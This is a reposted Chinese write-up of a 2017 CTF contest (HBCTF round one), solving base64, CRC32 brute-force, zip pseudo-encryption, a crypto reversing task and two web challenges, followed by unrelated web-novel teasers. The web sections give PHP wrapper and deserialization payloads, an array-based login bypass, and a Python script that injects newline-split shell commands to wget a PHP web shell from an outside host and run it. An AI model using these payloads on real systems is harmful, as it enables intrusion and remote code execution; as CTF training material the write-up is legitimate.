HBCTF第一场WP-转载

HBCTF第一场WP

发表于2017年5月23日

Misc

纳兰比亚-签到题

aGJjdGZ7cTFhbmRhMH0=

base64编码,解码即可,如下图

博兹瓦纳-爆破?其实有更好的办法

原题下载:http://hbctf-1252906577.costj.myqcloud.com/misc/flag6.zip

方法一:

用好压打开能看到crc32如图:

题目又说了6位数,写脚本爆破之得到答案,脚本如下:

Python

importbinasciireal=0x9c4d9a5dforyinrange(100000,999999):ifreal==(binascii.crc32(str(y))&0xffffffff):print(y)

方法二:

有人会想到爆破压缩包,其实这道题并没有加密,只是修改了一位数而已,用winhex或者HxD打开压缩包,修改如图位置为00,保存后就可以直接解压了,关于原理可以百度“zip伪加密”

Crypto

南非-just do it

原题下载:http://hbctf-1252906577.costj.myqcloud.com/crypto/justdoit.cpp

直接上脚本

Python

# -*- coding:utf8 -*-deffoo():a=[0]*19key="a7shw9o10e63nfi19dk"k=[ord(i)foriinkey]e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]a[0]=ord('H')foriinrange(len(e)-1):k[i+1]^=k[i]^a[i%7]^a[i%9]a[i+1]=0x53^e[i]^k[i]print''.join([chr(i)foriina])passif__name__=='__main__':foo()print'ok'

WEB

莫桑比克-php是最好的语言

题目地址:http://123.206.66.106

右击查看源码如下图

PHP

you are not admin!";include($file);//class.php}else{echo"you are not admin ! ";}-->

方法一:先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,可以利用php伪协议:

http://123.206.66.106/index.php?user=php://input

同时利用Hackbar(一个火狐插件)发送post数据为

the user is admin

如下图

方法二:也可以利用data协议:

http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=

。将the user is admin 用base64的方式传入服务器

然后是看到helle admin! 到这个时候,file参数可以包含class.php文件,pass参数还不知道,这时,同样利用php伪协议来查看class.php源码,payload如下:

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php

可以看到如图所示base64编码

解码得到源码如下:

PHP

file)){echofile_get_contents($this->file);}return"__toString was called!";}}?>

然后构造出pass参数以获取flag,payload如下

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}

得到如图界面:

查看源码得到flag

赞比亚-npusec 网络管理系统

首先发现有备份文件  index.php.bak  下载下来,进行审计

PHP

functiond_addslashes($array){foreach($arrayas$key=>$value){if(!is_array($value)){!get_magic_quotes_gpc()&&$value=addslashes($value);$array[$key]=$value;}else{$array[$key]=d_addslashes($array[$key]);}}return$array;}$_POST=d_addslashes($_POST);$_GET=d_addslashes($_GET);

发现有伪全局过滤,注入就别想了.再继续往下看,这里存在一个逻辑漏洞:

PHP

$username=isset($_POST['username'])?$_POST['username']:die();$password=isset($_POST['password'])?md5($_POST['password']):die();$sql="select password from users  where username='$username'";$result=$conn->query($sql);if(!$result){die('alert("用户名或密码错误!!")');}$row=$result->fetch_assoc();if($row[0]===$password){$_SESSION['username']=$username;$_SESSION['status']=1;header("Location:./ping.php");}else{die("alert('用户名或密码错误!!')");}

关键点在这里:

PHP

if(!$result){die('alert("用户名或密码错误!!")');}

即便是我们输入一个不存在的用户,这if也永远不会被执行,因为 $db->query($sql) 返回的是一个mysql resource类型,始终不可能为空. 你可以用var_dump($result)试一下.

接下来就考察对php的熟悉程度了

PHP

$row[0]===$password

如果我们输入了一个不存在的用户名,那么$row[0] 是等于 NULL的,但是 md5($array) 也是返回 NULL,所以只需要让password是一个数组,就可以绕过这里

所以最终用户名密码为:

username=1&password[]=1

绕过登陆之后,发现可以执行ping命令,经过测试发现:

1. ip 必须是 x.x.x.x 的格式, x 代表 1-3个数字

2. ip长度必须大于等于7,小于等于15,否则都会返回ip格式错误

3. 可以使用这样格式的ip: x.x.x.x[任意字符]

当 ip为ip=0.0.0.1||2时,返回 PING 0.0.0.12 (0.0.0.12): 56 data bytes

说明了|| 被替换为空了,同样道理,你可以发现&,$,(),;`,都被替换为了空

最后发现 %0a没有被过滤:

测试:ip=0.0.0.1%0als -al,返回如下,说明ls已经成功执行.

PING 0.0.0.1 (0.0.0.1): 56 data bytes

total 8

drwxr-xr-x 2 www-data www-data 4096 Apr  7 04:54 .

drwxr-xr-x 5 www-data www-data 4096 Apr  7 04:54 ..

测试:ip=0.0.0.1%0apwd,返回了当前的绝对路径:

PING 0.0.0.1 (0.0.0.1): 56 data bytes

/usr/share/nginx/html/sandBox/10.36.101.50

发现只有七个字符的可控输入空间,就是7个字符的命令执行啦,参考这篇文章http://wonderkun.cc/index.html/?p=524

下面给出python的payload吧:

Python

#!/usr/bin/python#-*- coding: utf-8 -*-importrequestsdefGetShell():url="http://vctf.ctftools.com/ping.php"header={"Cookie":"PHPSESSID=5rfro3re8253tv5f6fp5kd74l6","Content-Type":"application/x-www-form-urlencoded"}#fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]# linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"# 可以修改hosts文件,让a.cn指向一个自己的服务器。# 在a.cn 的根目录下创建index.html ,内容是一个php shell'''

wget\\

\ wo\\

nd\\

er\\

ku\\

n.\\

cc\ \\

-O\ \\

1.php

'''fileNames=["1.php","-O\ \\\\","cc\ \\\\","n.\\\\","ku\\\\","er\\\\","nd\\\\","\ wo\\\\","wget\\\\"]ip="0.0.0.1%0a"forfileNameinfileNames:createFileIp=ip+">"+fileNameprintcreateFileIp        data="ip="+createFileIp                requests.post(url,data=data,headers=header)proxy={"http":"127.0.0.1:8080"}getShIp=ip+"ls%20-t>1"printgetShIp    data="ip="+getShIp    requests.post(url,data=data,headers=header,proxies=proxy)getShellIp=ip+"sh%201"printgetShellIp    data="ip="+getShellIp    requests.post(url,data=data,headers=header,proxies=proxy)shellUrl="http://vctf.ctftools.com/sandBox/10.25.159.132/1.php"#10.25.159.132为自己IPresponse=requests.get(shellUrl)ifresponse.status_code==200:print"[*] Get shell !"else:print"[*] fail!"if__name__=="__main__":GetShell()

拿到shell之后,连接本地的数据库,获取flag

HBCTF官方群:595176019

想要看WP可以关注ChaMd5公众号:

PWN题WriteUp下载:点击下载

在博客中遇到的问题可以联系admin@ctftools.com

本文由Dr3@m原创发布,转载请注明来自HBCTF BLOG,转载代码(点击全选,请按"Ctrl"+"C"复制):

此项目被张贴在HBCTF。书签的permalink

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,133评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,682评论 3 390
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,784评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,508评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,603评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,607评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,604评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,359评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,805评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,121评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,280评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,959评论 5 339
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,588评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,206评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,442评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,193评论 2 367
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,144评论 2 352

推荐阅读更多精彩内容